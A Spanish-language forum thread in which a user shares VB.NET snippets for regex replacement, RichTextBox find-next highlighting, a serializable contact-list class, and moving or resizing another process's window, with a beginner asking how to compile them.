' MsgBox(Replace_String_By_Increment("Hello World!, Hello World!", New System.Text.RegularExpressions.Regex("Hello\sWorld", RegexOptions.IgnoreCase), 3)) ' Result: 001!, 002!
Private Function Replace_String_By_Increment(ByVal str As String, _
ByVal replace As System.Text.RegularExpressions.Regex, _
Optional ByVal DigitLength As Long = 0) As String
DigitLength = If(DigitLength = 0, replace.ToString.Length, DigitLength)
Dim IndexCount As Integer = 0
Dim replacement As String = Nothing
Dim matches As System.Text.RegularExpressions.MatchCollection = replace.Matches(str)
For Each match As System.Text.RegularExpressions.Match In matches
replacement &= Threading.Interlocked.Increment(IndexCount).ToString
While Not replacement.Length >= DigitLength
replacement = replacement.Insert(0, "0")
End While
str = replace.Replace(str, replacement, 1, match.Index - (match.Length * (IndexCount - 1)))
replacement = Nothing
Next
matches = Nothing
replacement = Nothing
IndexCount = 0
Return str
End Function
#End Region
Disculpen la ignorancia, apenas conozco algo de batch, este codigo me interesa, pero la verdad es q no sé como utilizarlo, q se supone q debo hacer con el codigo? lo copie a un archivo de texto y le puse la extension .vbs, hice bien? crei q funcionaría como un batch, lo ejecuté y me salio error de compilación o algo así, por favor q alguien me ayude :-\
Estamos en el subforo de .NET, es VB.NET :¬¬
Saludos
@MauriH
Vuelve a leer este post hasta el final: http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1891125#msg1891125
He subido un proyecto de prueba a Mediafire.
Saludos
Añadir la funcionalidad 'Find Next' y 'Find Previous' en un RichTextBox,
Le añadi soporte para poder utilizar expresiones regulares y también para poder resaltar el text seleccionado en colores :).
[youtube=640,360]http://www.youtube.com/watch?v=mWRMdlC5DH8[/youtube]
#Region " [RichTextBox] FindNext "
' [ FindNext ]
'
' //By Elektro H@cker
'
' Examples :
'
' RichTextBox1.Text = "Hello World!, Hello World!, Hello World!"
'
' FindNext(RichTextBox1, "hello", FindDirection.Down, RegexOptions.IgnoreCase, Color.LightBlue, Color.Black)
' FindNext(RichTextBox1, "hello", FindDirection.Up, RegexOptions.IgnoreCase, Color.Red, Color.Black)
'
' Private Sub RichTextBox_Enter(sender As Object, e As EventArgs) ' Handles RichTextBox1.Enter
' ' Restore Selection Colors before search next match.
' sender.SelectionBackColor = DefaultBackColor
' sender.SelectionColor = DefaultForeColor
' End Sub
Public Enum FindDirection
Up = 0
Down = 1
End Enum
' FindNext
Private Sub FindNext(ByVal [Control] As RichTextBox, _
ByVal SearchText As String, _
ByVal Direction As FindDirection, _
Optional ByVal IgnoreCase As System.Text.RegularExpressions.RegexOptions = RegexOptions.None, _
Optional ByVal Highlight_BackColor As Color = Nothing, _
Optional ByVal Highlight_ForeColor As Color = Nothing)
If [Control].TextLength = 0 Then Exit Sub
' Start searching at 'SelectionStart'.
Dim Search_StartIndex As Integer = [Control].SelectionStart
' Stores the MatchIndex count
Dim matchIndex As Integer = 0
' Flag to check if it's first find call
Static First_Find As Boolean = True
' Checks to don't ommit the selection of first match if match index is exactly at 0 start point.
If First_Find _
AndAlso Search_StartIndex = 0 _
AndAlso Direction = FindDirection.Down Then
Search_StartIndex = -1
First_Find = False
ElseIf Not First_Find _
AndAlso Search_StartIndex = 0 _
AndAlso Direction = FindDirection.Down Then
First_Find = False
Search_StartIndex = 0
End If
' Store the matches
Dim matches As System.Text.RegularExpressions.MatchCollection = _
System.Text.RegularExpressions.Regex.Matches([Control].Text, _
SearchText, _
IgnoreCase Or If(Direction = FindDirection.Up, _
RegexOptions.RightToLeft, _
RegexOptions.None))
If matches.Count = 0 Then First_Find = True : Exit Sub
' Restore Highlight colors of previous selection
[Control].SelectionBackColor = [Control].BackColor
[Control].SelectionColor = [Control].ForeColor
' Set next selection Highlight colors
If Highlight_BackColor = Nothing Then Highlight_BackColor = [Control].BackColor
If Highlight_ForeColor = Nothing Then Highlight_ForeColor = [Control].ForeColor
' Set the match selection
For Each match As System.Text.RegularExpressions.Match In matches
matchIndex += 1
Select Case Direction
Case FindDirection.Down
If match.Index > Search_StartIndex Then ' Select next match
[Control].Select(match.Index, match.Length)
Exit For
ElseIf match.Index <= Search_StartIndex _
AndAlso matchIndex = matches.Count Then ' Select first match
[Control].Select(matches.Item(0).Index, matches.Item(0).Length)
Exit For
End If
Case FindDirection.Up
If match.Index < Search_StartIndex Then ' Select previous match
[Control].Select(match.Index, match.Length)
Exit For
ElseIf match.Index >= Search_StartIndex _
AndAlso matchIndex = matches.Count Then ' Select last match
[Control].Select(matches.Item(0).Index, matches.Item(0).Length)
Exit For
End If
End Select
Next match
' Set the current selection BackColor
[Control].SelectionBackColor = Highlight_BackColor
' Set the current selection ForeColor
[Control].SelectionColor = Highlight_ForeColor
' Scroll to Caret/Cursor selection position
[Control].ScrollToCaret()
End Sub
#End Region
EDITO:
Aquí dejo una versión alternativa, no soporta RegEx y no soporta búsqueda hacia arriba,
el código no es peor, símplemente si no se requiere el uso de búsqueda por RegEx ni buscar hacia arriba entonces es preferible usar este snippet.
#Region " [RichTextBox] FindNext String "
' [ FindNext String ]
'
' //By Elektro H@cker
'
' Examples :
'
' FindNext(RichTextBox1, "Hello", RichTextBoxFinds.MatchCase, Color.LightBlue, Color.Black)
'
' Private Sub RichTextBox_Enter(sender As Object, e As EventArgs) ' Handles RichTextBox1.Enter
' ' Restore Selection Colors before search next match.
' sender.SelectionBackColor = DefaultBackColor
' sender.SelectionColor = DefaultForeColor
' End Sub
' FindNext
Private Sub FindNext(ByVal [Control] As RichTextBox, _
ByVal SearchText As String, _
ByVal IgnoreCase As RichTextBoxFinds, _
Optional ByVal Highlight_BackColor As Color = Nothing, _
Optional ByVal Highlight_ForeColor As Color = Nothing)
' Start searching at 'SelectionStart'.
Dim Search_StartIndex As Integer = [Control].SelectionStart
Static Next_Count As Integer = 0
' Restore Highlight colors of previous selection
[Control].SelectionBackColor = [Control].BackColor
[Control].SelectionColor = [Control].ForeColor
' Set next selection Highlight colors
If Highlight_BackColor = Nothing Then Highlight_BackColor = [Control].BackColor
If Highlight_ForeColor = Nothing Then Highlight_ForeColor = [Control].ForeColor
' If is not first FindNext call then...
If Next_Count <> 0 Then
Search_StartIndex += SearchText.Length
Else ' If is first FindNext call then...
Next_Count += 1
End If
' Set Search_StartIndex
Search_StartIndex = _
[Control].Find(SearchText, Search_StartIndex, IgnoreCase)
' ...And prevent search at End Of File
If Search_StartIndex = -1 Then
Search_StartIndex = _
[Control].Find(SearchText, 0, IgnoreCase)
End If
If Search_StartIndex = -1 Then
Exit Sub ' No matches found
End If
' Set the match selection
[Control].Select(Search_StartIndex, SearchText.Length)
' Set the BackColor
[Control].SelectionBackColor = Highlight_BackColor
' Set the ForeColor
[Control].SelectionColor = Highlight_ForeColor
' Scroll to Caret/Cursor position
[Control].ScrollToCaret()
End Sub
#End Region
Una class para manejar bases de clientes,
En principio el código original lo descargué de la página CodeProject, pero lo modifiqué casi por completo y además le añadi +20 funciones genéricas para que las operaciones más comunes no requieran escritura de código adicional.
(La lista de contactos es facil de añadir en un Listview/DataGridView)
Esto es un ejemplo de para que sirve:
(http://img10.imageshack.us/img10/8277/8bw3.png)
EDITO: He añadido un par de funciones más.
#Region " Contact "
#Region " Examples (Normal usage)"
' Create a new list of contacts
' Dim Contacts As List(Of Contact) = New List(Of Contact)
' Or load ContactList from previous serialized file
' Dim Contacts As List(Of Contact) = ContactSerializer.Deserialize("C:\Contacts.bin")
' Set a variable to store the current contact position
' Dim CurrentPosition As Integer = 0
' Create a new contact
' Dim CurrentContact As Contact = New Contact With { _
' .Name = "Manolo", _
' .Surname = "El del Bombo", _
' .Country = "Spain", _
' .City = "Valencia", _
' .Street = "Av. Mestalla", _
' .ZipCode = "42731", _
' .Phone = "96.XXX.XX.XX", _
' .CellPhone = "651.XXX.XXX", _
' .Email = "ManoloToLoko@Gmail.com"}
' Add a contact to contacts list
' Contacts.Add(CurrentContact)
' Update the CurrentPosition index value
' CurrentPosition = Contacts.IndexOf(CurrentContact)
#End Region
#Region " Examples (Generic functions) "
' Examples:
'
' -----------------
' Add a new contact
' -----------------
' Contact.Add_Contact(ContactList, "Manolo", "El del Bombo", "Spain", "Valencia", "Av. Mestalla", "42731", "96.XXX.XX.XX", "651.XXX.XXX", "ManoloToLoko@Gmail.com")
'
'
' -----------------------------------------------------------------
' Load a contact from an existing contacts list into TextBox Fields
' -----------------------------------------------------------------
' Contact.Load_Contact(ContactList, 0, TextBox_Name, textbox_surName, TextBox_Country, textbox_City, TextBox_Street, TextBox_ZipCode, TextBox_Phone, TextBox_CellPhone, TextBox_email)
'
'
' ----------------------------------
' Load a contact into TextBox Fields
' ----------------------------------
' Contact.Load_Contact(Contact, TextBox_Name, textbox_surName, TextBox_Country, textbox_City, TextBox_Street, TextBox_ZipCode, TextBox_Phone, TextBox_CellPhone, TextBox_email)
'
'
' ---------------------------------
' Load a contact list into ListView
' ---------------------------------
' Contact.Load_ContactList_Into_ListView(ContactList, ListView1)
'
'
' -------------------------------------
' Load a contact list into DataGrivView
' -------------------------------------
' Contact.Load_ContactList_Into_DataGrivView(ContactList, DataGrivView1)
'
'
' -------------------------------------------
' Load a contacts list from a serialized file
' -------------------------------------------
' Dim ContactList As List(Of Contact) = Contact.Load_ContactList("C:\Contacts.bin")
'
'
' -----------------------------------------------------------------------
' Find the first occurrence of a contact name in a existing contacts list
' -----------------------------------------------------------------------
' Dim ContactFound As Contact = Contact.Match_Contact_Name_FirstOccurrence(ContactList, "Manolo")
'
'
' ----------------------------------------------------------------------
' Find all the occurrences of a contact name in a existing contacts list
' ----------------------------------------------------------------------
' Dim ContactsFound As List(Of Contact) = Contact.Match_Contact_Name(ContactList, "Manolo")
'
'
' -------------------------------------------------------------
' Remove a contact from a Contact List giving the contact index
' -------------------------------------------------------------
' Remove_Contact(ContactList, 0)
'
'
' -------------------------------------------------------
' Remove a contact from a Contact List giving the contact
' -------------------------------------------------------
' Remove_Contact(ContactList, MyContact)
'
'
' -------------------------
' Save the contacts to file
' -------------------------
' Contact.Save_ContactList(ContactList, "C:\Contacts.bin")
'
'
' -------------------------
' Sort the contacts by name
' -------------------------
' Dim SorteredContacts As List(Of Contact) = Contact.Sort_ContactList_By_Name(ContactList, Contact.ContectSortMode.Ascending)
'
'
' --------------------------------------------------------------------
' Get a formatted string containing the details of an existing contact
' --------------------------------------------------------------------
' MsgBox(Contact.Get_Contact_Details(ContactList, 0))
' MsgBox(Contact.Get_Contact_Details(CurrentContact))
'
'
' ----------------------------------------------------------------------------------
' Copy to clipboard a formatted string containing the details of an existing contact
' ----------------------------------------------------------------------------------
' Contact.Copy_Contact_Details_To_Clipboard(ContactList, 0)
' Contact.Copy_Contact_Details_To_Clipboard(CurrentContact)
#End Region
<Serializable()> _
Public Class Contact
Public Enum ContectSortMode As Short
Ascending = 0
Descending = 1
End Enum
#Region "Member Variables"
Private mId As System.Guid
Private mName As String
Private mSurname As String
Private mCountry As String
Private mCity As String
Private mStreet As String
Private mZip As String
Private mPhone As String
Private mCellPhone As String
Private mEmail As String
#End Region
#Region "Constructor"
Public Sub New()
mId = Guid.NewGuid()
End Sub
Public Sub New(ByVal ID As System.Guid)
mId = ID
End Sub
#End Region
#Region "Properties"
Public Property Name() As String
Get
Return mName
End Get
Set(ByVal value As String)
mName = value
End Set
End Property
Public Property Surname() As String
Get
Return mSurname
End Get
Set(ByVal value As String)
mSurname = value
End Set
End Property
Public Property Street() As String
Get
Return mStreet
End Get
Set(ByVal value As String)
mStreet = value
End Set
End Property
Public Property City() As String
Get
Return mCity
End Get
Set(ByVal value As String)
mCity = value
End Set
End Property
Public Property Country() As String
Get
Return mCountry
End Get
Set(ByVal value As String)
mCountry = value
End Set
End Property
Public Property ZipCode() As String
Get
Return mZip
End Get
Set(ByVal value As String)
mZip = value
End Set
End Property
Public Property Email() As String
Get
Return mEmail
End Get
Set(ByVal value As String)
mEmail = value
End Set
End Property
Public Property Phone() As String
Get
Return mPhone
End Get
Set(ByVal value As String)
mPhone = value
End Set
End Property
Public Property CellPhone() As String
Get
Return mCellPhone
End Get
Set(ByVal value As String)
mCellPhone = value
End Set
End Property
#End Region
#Region " ContactSerializer "
Public Class ContactSerializer
''' <summary>
''' Serialize a contact list into a contacts file.
''' </summary>
''' <param name="ContactList"></param>
''' <param name="FilePath"></param>
''' <remarks></remarks>
Public Shared Sub Save(ByVal ContactList As List(Of Contact), _
ByVal FilePath As String)
Dim fs As IO.FileStream = Nothing
Dim formatter As System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
Try
fs = New IO.FileStream(FilePath, IO.FileMode.OpenOrCreate)
formatter = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
formatter.Serialize(fs, ContactList)
Catch ex As Exception
MessageBox.Show(String.Format("{0}:{1}{1}{2}", ex.Message, Environment.NewLine, ex.StackTrace), _
"Error", _
MessageBoxButtons.OK, _
MessageBoxIcon.Error)
Finally
If fs IsNot Nothing Then fs.Dispose()
End Try
End Sub
''' <summary>
''' Deserialize an existing file into a contact list.
''' </summary>
''' <param name="FilePath"></param>
''' <returns></returns>
''' <remarks></remarks>
Public Shared Function Load(ByVal FilePath As String) As List(Of Contact)
Dim fs As IO.FileStream = Nothing
Dim formatter As System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
Try
fs = New IO.FileStream(FilePath, IO.FileMode.Open)
formatter = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter()
Return formatter.Deserialize(fs)
Catch ex As Exception
MessageBox.Show(String.Format("{0}:{1}{1}{2}", ex.Message, Environment.NewLine, ex.StackTrace), _
"Error", _
MessageBoxButtons.OK, _
MessageBoxIcon.Error)
Return Nothing
Finally
If fs IsNot Nothing Then fs.Dispose()
End Try
End Function
End Class
#End Region
#Region " Generic Functions "
' Formatted String of contact detailed information
Shared ReadOnly DetailsFormat As String = _
"Name.....: {1}{0}Surname..: {2}{0}Country..: {3}{0}City.....: {4}{0}Street...: {5}{0}Zipcode..: {6}{0}Phone....: {7}{0}CellPhone: {8}{0}Email....: {9}"
''' <summary>
''' Add a new contact into a existing contacts list.
''' </summary>
Public Shared Sub Add_Contact(ByVal ContactList As List(Of Contact), _
ByVal Name As String, _
ByVal Surname As String, _
ByVal Country As String, _
ByVal City As String, _
ByVal Street As String, _
ByVal ZipCode As String, _
ByVal Phone As String, _
ByVal CellPhone As String, _
ByVal Email As String)
ContactList.Add(New Contact With { _
.Name = Name, _
.Surname = Surname, _
.Country = Country, _
.City = City, _
.Street = Street, _
.ZipCode = ZipCode, _
.Phone = Phone, _
.CellPhone = CellPhone, _
.Email = Email _
})
End Sub
''' <summary>
''' Remove a contact from an existing contacts list.
''' </summary>
Public Shared Sub Remove_Contact(ByVal ContactList As List(Of Contact), ByVal ContactIndex As Integer)
ContactList.RemoveAt(ContactIndex)
End Sub
''' <summary>
''' Remove a contact from an existing contacts list.
''' </summary>
Public Shared Sub Remove_Contact(ByVal ContactList As List(Of Contact), ByVal Contact As Contact)
ContactList.Remove(Contact)
End Sub
''' <summary>
''' Find the first occurrence of a contact name in an existing contacts list.
''' </summary>
Public Shared Function Match_Contact_Name_FirstOccurrence(ByVal ContactList As List(Of Contact), ByVal Name As String) As Contact
Return ContactList.Find(Function(contact) contact.Name.ToLower.StartsWith(Name.ToLower) _
OrElse contact.Name.ToLower.Contains(Name.ToLower))
End Function
''' <summary>
''' Find all the occurrences of a contact name in a existing contacts list.
''' </summary>
Public Shared Function Match_Contact_Name(ByVal ContactList As List(Of Contact), ByVal Name As String) As List(Of Contact)
Return ContactList.FindAll(Function(contact) contact.Name.ToLower.StartsWith(Name.ToLower) _
OrElse contact.Name.ToLower.Contains(Name.ToLower))
End Function
''' <summary>
''' Load a contact from an existing contacts list into textbox fields.
''' </summary>
Public Shared Sub Load_Contact(ByVal ContactList As List(Of Contact), _
ByVal ContactIndex As Integer, _
ByVal TextBox_Name As TextBox, _
ByVal TextBox_Surname As TextBox, _
ByVal TextBox_Country As TextBox, _
ByVal TextBox_City As TextBox, _
ByVal TextBox_Street As TextBox, _
ByVal TextBox_Zipcode As TextBox, _
ByVal TextBox_Phone As TextBox, _
ByVal TextBox_CellPhone As TextBox, _
ByVal TextBox_Email As TextBox)
TextBox_Name.Text = ContactList.Item(ContactIndex).Name
TextBox_Surname.Text = ContactList.Item(ContactIndex).Surname
TextBox_Country.Text = ContactList.Item(ContactIndex).Country
TextBox_City.Text = ContactList.Item(ContactIndex).City
TextBox_Street.Text = ContactList.Item(ContactIndex).Street
TextBox_Zipcode.Text = ContactList.Item(ContactIndex).ZipCode
TextBox_Phone.Text = ContactList.Item(ContactIndex).Phone
TextBox_CellPhone.Text = ContactList.Item(ContactIndex).CellPhone
TextBox_Email.Text = ContactList.Item(ContactIndex).Email
End Sub
''' <summary>
''' Load a contact into textbox fields.
''' </summary>
Public Shared Sub Load_Contact(ByVal Contact As Contact, _
ByVal TextBox_Name As TextBox, _
ByVal TextBox_Surname As TextBox, _
ByVal TextBox_Country As TextBox, _
ByVal TextBox_City As TextBox, _
ByVal TextBox_Street As TextBox, _
ByVal TextBox_Zipcode As TextBox, _
ByVal TextBox_Phone As TextBox, _
ByVal TextBox_CellPhone As TextBox, _
ByVal TextBox_Email As TextBox)
TextBox_Name.Text = Contact.Name
TextBox_Surname.Text = Contact.Surname
TextBox_Country.Text = Contact.Country
TextBox_City.Text = Contact.City
TextBox_Street.Text = Contact.Street
TextBox_Zipcode.Text = Contact.ZipCode
TextBox_Phone.Text = Contact.Phone
TextBox_CellPhone.Text = Contact.CellPhone
TextBox_Email.Text = Contact.Email
End Sub
''' <summary>
''' Seriale a contacts list to a file.
''' </summary>
Public Shared Sub Save_ContactList(ByVal ContactList As List(Of Contact), ByVal FilePath As String)
Contact.ContactSerializer.Save(ContactList, FilePath)
End Sub
''' <summary>
''' Load a contacts list from a serialized file.
''' </summary>
Public Shared Function Load_ContactList(ByVal FilePath As String) As List(Of Contact)
Return Contact.ContactSerializer.Load(FilePath)
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Name field.
''' </summary>
Public Shared Function Sort_ContactList_By_Name(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.Name).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.Name).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Surname field.
''' </summary>
Public Shared Function Sort_ContactList_By_Surname(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.Surname).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.Surname).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Country field.
''' </summary>
Public Shared Function Sort_ContactList_By_Country(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.Country).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.Country).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the City field.
''' </summary>
Public Shared Function Sort_ContactList_By_City(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.City).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.City).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Street field.
''' </summary>
Public Shared Function Sort_ContactList_By_Street(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.Street).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.Street).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Zipcode field.
''' </summary>
Public Shared Function Sort_ContactList_By_Zipcode(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.ZipCode).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.ZipCode).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Phone field.
''' </summary>
Public Shared Function Sort_ContactList_By_Phone(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.Phone).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.Phone).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the CellPhone field.
''' </summary>
Public Shared Function Sort_ContactList_By_CellPhone(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.CellPhone).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.CellPhone).ToList())
End Function
''' <summary>
''' Reorder the contacts of a Contacts List by the Email field.
''' </summary>
Public Shared Function Sort_ContactList_By_Email(ByVal ContactList As List(Of Contact), _
ByVal ContectSortMode As Contact.ContectSortMode) As List(Of Contact)
Return If(ContectSortMode = Contact.ContectSortMode.Ascending, _
ContactList.OrderBy(Function(contact) contact.Email).ToList(), _
ContactList.OrderByDescending(Function(contact) contact.Email).ToList())
End Function
''' <summary>
''' Get a formatted string containing the details of an existing contact.
''' </summary>
Public Shared Function Get_Contact_Details(ByVal ContactList As List(Of Contact), ByVal ContactIndex As Integer) As String
Return String.Format(DetailsFormat, _
Environment.NewLine, _
ContactList.Item(ContactIndex).Name, _
ContactList.Item(ContactIndex).Surname, _
ContactList.Item(ContactIndex).Country, _
ContactList.Item(ContactIndex).City, _
ContactList.Item(ContactIndex).Street, _
ContactList.Item(ContactIndex).ZipCode, _
ContactList.Item(ContactIndex).Phone, _
ContactList.Item(ContactIndex).CellPhone, _
ContactList.Item(ContactIndex).Email)
End Function
''' <summary>
''' Get a formatted string containing the details of an existing contact.
''' </summary>
Public Shared Function Get_Contact_Details(ByVal Contact As Contact) As String
Return String.Format(DetailsFormat, _
Environment.NewLine, _
Contact.Name, _
Contact.Surname, _
Contact.Country, _
Contact.City, _
Contact.Street, _
Contact.ZipCode, _
Contact.Phone, _
Contact.CellPhone, _
Contact.Email)
End Function
''' <summary>
''' Copy to clipboard a formatted string containing the details of an existing contact.
''' </summary>
Public Shared Sub Copy_Contact_Details_To_Clipboard(ByVal ContactList As List(Of Contact), ByVal ContactIndex As Integer)
Clipboard.SetText(String.Format(DetailsFormat, _
Environment.NewLine, _
ContactList.Item(ContactIndex).Name, _
ContactList.Item(ContactIndex).Surname, _
ContactList.Item(ContactIndex).Country, _
ContactList.Item(ContactIndex).City, _
ContactList.Item(ContactIndex).Street, _
ContactList.Item(ContactIndex).ZipCode, _
ContactList.Item(ContactIndex).Phone, _
ContactList.Item(ContactIndex).CellPhone, _
ContactList.Item(ContactIndex).Email))
End Sub
''' <summary>
''' Copy to clipboard a formatted string containing the details of an existing contact.
''' </summary>
Public Shared Sub Copy_Contact_Details_To_Clipboard(ByVal Contact As Contact)
Clipboard.SetText(String.Format(DetailsFormat, _
Environment.NewLine, _
Contact.Name, _
Contact.Surname, _
Contact.Country, _
Contact.City, _
Contact.Street, _
Contact.ZipCode, _
Contact.Phone, _
Contact.CellPhone, _
Contact.Email))
End Sub
''' <summary>
''' Load an existing contacts list into a ListView.
''' </summary>
Public Shared Sub Load_ContactList_Into_ListView(ByVal ContactList As List(Of Contact), _
ByVal Listview As ListView)
Listview.Items.AddRange( _
ContactList _
.Select(Function(Contact) _
New ListViewItem(New String() { _
Contact.Name, _
Contact.Surname, _
Contact.Country, _
Contact.City, _
Contact.Street, _
Contact.ZipCode, _
Contact.Phone, _
Contact.CellPhone, _
Contact.Email _
})).ToArray())
End Sub
''' <summary>
''' Load an existing contacts list into a DataGridView.
''' </summary>
Public Shared Sub Load_ContactList_Into_DataGridView(ByVal ContactList As List(Of Contact), _
ByVal DataGridView As DataGridView)
DataGridView.DataSource = ContactList
' Sortered:
' DataGridView.DataSource = (From Contact In ContactList Order By Contact.Name Ascending Select Contact).ToList
End Sub
#End Region
End Class
#End Region
Cita de: EleKtro H@cker en 14 Octubre 2013, 04:37 AM
@MauriH
Vuelve a leer este post hasta el final: http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1891125#msg1891125
Solo quiero decir una cosa:
Un millón de gracias!! ;D
Estuve averiguando y al parecer tengo q usar Visual Studio para utilizar los codigos posteados o me equivoco?
Saludos.
Cita de: MauriH en 14 Octubre 2013, 20:23 PMEstuve averiguando y al parecer tengo q usar Visual Studio para utilizar los codigos posteados o me equivoco?
Si, estás en lo cierto, tienes que usar VisualStudio,
existen otras IDES como SharpDevelop, MonoDevelop, e incluso puedes programar/compilar
C# online desde la página ->
CodeRun (http://www.coderun.com/ide/),
pero en mi opinión como la IDE de Microsoft no hay ninguna que se pueda comparar, aunque si tienes un PC lento quizás prefieras usar sharpdevelop porque VisualStudio consume bastantes recursos del sistema (
no se puede ser el mejor sin tener algún inconveniente).
EDITO:En -> IDEOne (http://ideone.com/#) y -> CompileOnline (http://www.compileonline.com/compile_vb.net_online.php) puedes compilar código VBNET.
Un saludo!
Las siguientes funciones pueden adaptarlas fácilmente para pasarle el handle de la ventana, yo preferí usar diréctamente el nombre del proceso en cuestión.
Mueve la ventana de un proceso
#Region " Move Process Window "
' [ Move Process Window ]
'
' // By Elektro H@cker
'
' Examples :
'
' Move the notepad window at 10,50 (X,Y)
' Move_Process_Window("notepad.exe", 10, 50)
'
' Move the notepad window at 10 (X) and preserving the original (Y) process window position
' Move_Process_Window("notepad.exe", 10, Nothing)
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
End Function
Private Sub Move_Process_Window(ByVal ProcessName As String, ByVal X As Integer, ByVal Y As Integer)
ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
ProcessName)
Dim rect As Rectangle = Nothing
Dim proc As Process = Nothing
Try
' Find the process
proc = Process.GetProcessesByName(ProcessName).First
' Store the process Main Window positions and sizes into the Rectangle.
GetWindowRect(proc.MainWindowHandle, rect)
' Move the Main Window
MoveWindow(proc.MainWindowHandle, _
If(Not X = Nothing, X, rect.Left), _
If(Not Y = Nothing, Y, rect.Top), _
(rect.Width - rect.Left), _
(rect.Height - rect.Top), _
True)
Catch ex As InvalidOperationException
'Throw New Exception("Process not found.")
MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
rect = Nothing
If proc IsNot Nothing Then proc.Dispose()
End Try
End Sub
#End Region
Redimensiona la ventana de un proceso
#Region " Resize Process Window "
' [ Resize Process Window ]
'
' // By Elektro H@cker
'
' Examples :
'
' Resize the notepad window at 500x250 (Width x Height)
' Resize_Process_Window("notepad.exe", 500, 250)
'
' Resize the notepad window at 500 (Width) and preserving the original (Height) process window size.
' Resize_Process_Window("notepad.exe", 500, Nothing)
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
End Function
Private Sub Resize_Process_Window(ByVal ProcessName As String, _
ByVal Width As Integer, _
ByVal Height As Integer)
ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
ProcessName)
Dim rect As Rectangle = Nothing
Dim proc As Process = Nothing
Try
' Find the process
proc = Process.GetProcessesByName(ProcessName).First
' Store the process Main Window positions and sizes into the Rectangle.
GetWindowRect(proc.MainWindowHandle, rect)
' Resize the Main Window
MoveWindow(proc.MainWindowHandle, _
rect.Left, _
rect.Top, _
If(Not Width = Nothing, Width, (rect.Width - rect.Left)), _
If(Not Height = Nothing, Height, (rect.Height - rect.Top)), _
True)
Catch ex As InvalidOperationException
'Throw New Exception("Process not found.")
MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
rect = Nothing
If proc IsNot Nothing Then proc.Dispose()
End Try
End Sub
#End Region
Desplaza la posición de la ventana de un proceso
#Region " Shift Process Window Position "
' [ Shift Process Window Position ]
'
' // By Elektro H@cker
'
' Examples :
'
' Shift the notepad window +10,-50 (X,Y)
' Shift_Process_Window_Position("notepad.exe", +10, -50)
'
' Shift the notepad window +10 (X) and preserving the original (Y) position
' Shift_Process_Window_Position_Position("notepad.exe", +10, Nothing)
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
End Function
